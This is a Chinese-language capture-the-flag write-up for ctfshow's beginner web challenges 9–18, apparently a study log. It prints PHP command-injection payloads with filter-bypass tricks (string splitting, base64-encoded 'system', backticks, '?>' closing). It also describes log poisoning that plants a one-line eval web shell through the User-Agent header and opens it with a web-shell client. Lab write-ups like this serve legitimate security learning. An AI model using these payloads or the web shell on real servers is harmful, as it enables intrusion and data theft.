ctfshow 做题 萌新 模块（4）
——
web9
给出提示： flag in config.php
所以我们是需要得到 config.php 文件里的内容。
代码中有 preg_match 函数，一开始以为是对这些函数进行过滤，后面才发现 else 后面才是回显错误，所以是必须用上这些给出的函数。
传入
?c=highlight_file(‘config.php’);
或
?c=system(‘cat config.php’);
——
——
web10
这题就是不能使用给出的这些函数。
使用 highlight_file()函数的别名 show_source() 函数得到 flag 。
还可以使用拆分函数字符的方法：
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
或
c=$a='highligh';$b='t_file';$d=$a.$b;$d('config.php');
——
——
web11
这题还是不能用上给出的这些字符。
继续
?c=show_source(‘config.php’);
——
——
web12
被过滤的字符又变多了。
过滤了字符点，文件名的字符也被过滤了。
收集常用的命令执行函数：
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
这里用到一个反引号，就是先将命令中反引号的命令先执行，再执行整条命令的结果。
传入：
cat 字符中使用单引号或双引号或斜杆用于绕过 cat 被过滤。
?c=passthru("ca''t `ls`");
还有一个绕过过滤的方法，对被过滤的字符进行编码：
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
c3lzdGVt 是 system 的 base64 编码，Y2F0IGNvbmZpZy5waHA= 是 cat config.php 的 base64 编码。
——
——
web13
分号和字符 file 也被过滤了。
分号被过滤，我们无法对语句进行闭合了，选择用 ?> 对语句进行闭合。
前面一题的 payload ：
?c=passthru("ca''t `ls`")?>
还可以用到一个函数 assert() ，
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。
?c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>
c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp 是 system(‘config.php’) 的 base64 编码。
——
——
web14
多过滤了一个括号的字符，就不能用命令执行的方法了。
这里用 get 和 post 结合传入参数。
先 GET 传入
?c=echo `$_POST[1]`?>
再进行 POST 传入
1=cat config.php
然后在 F12 源码中得到 flag 。
感觉做法有点类似于文件上传，即先传入一个可操作的参数，再用这个参数执行命令。
——
——
web15
等号、尖括号、问号、星号也被过滤了，即不能用 ?> 代替分号，参数后面也不能用等号接传入的值。
不过分号可以使用了。
前一题的方法
get 传入：
?c=echo `$_POST[1]`;
post 传入：
1=cat config.php
——
——
web16
代码告诉我们传入参数 c 。
满足 md5(“ctfshow$c”)===“a6f57ae38a22448c2f07f3f95f49c84e”) 即可回显 flag 。
md5 解密得到： ctfshow36d
即 c 的值为 36d
传入
?c=36d
得到 flag 。
——
——
web17
看到 include() 函数，可以判断这题用到文件包含的方法。
这题用到日志注入的方法，前面做过一题 web 模块中的 web4 也是用日志注入的方法。
尝试访问日志文件：
?c=/var/log/nginx/access.log
看到成功回显，说明可以运用这个方法。
把 User-Agent 的值改为一句话木马：
<?php @eval($_POST['a']);?>
然后用蚁剑连接。
html 文件夹里有个 36d.php 文件，打开里面的内容为 flag 。
——
——
web18
额，多过滤了字符 file ，还是不影响用前面的方法。
不过应该有更简单的方法，只需要对参数 c 传入特定的值就能回显 flag 。（不知道文件包含中伪协议的方法可不可用）
先尝试 ?c=/var/log/nginx/access.log 有回显，抓包把 User-Agent 的值改为一句话木马，然后用蚁剑连接，打开文件 36d.php 得到 flag 。
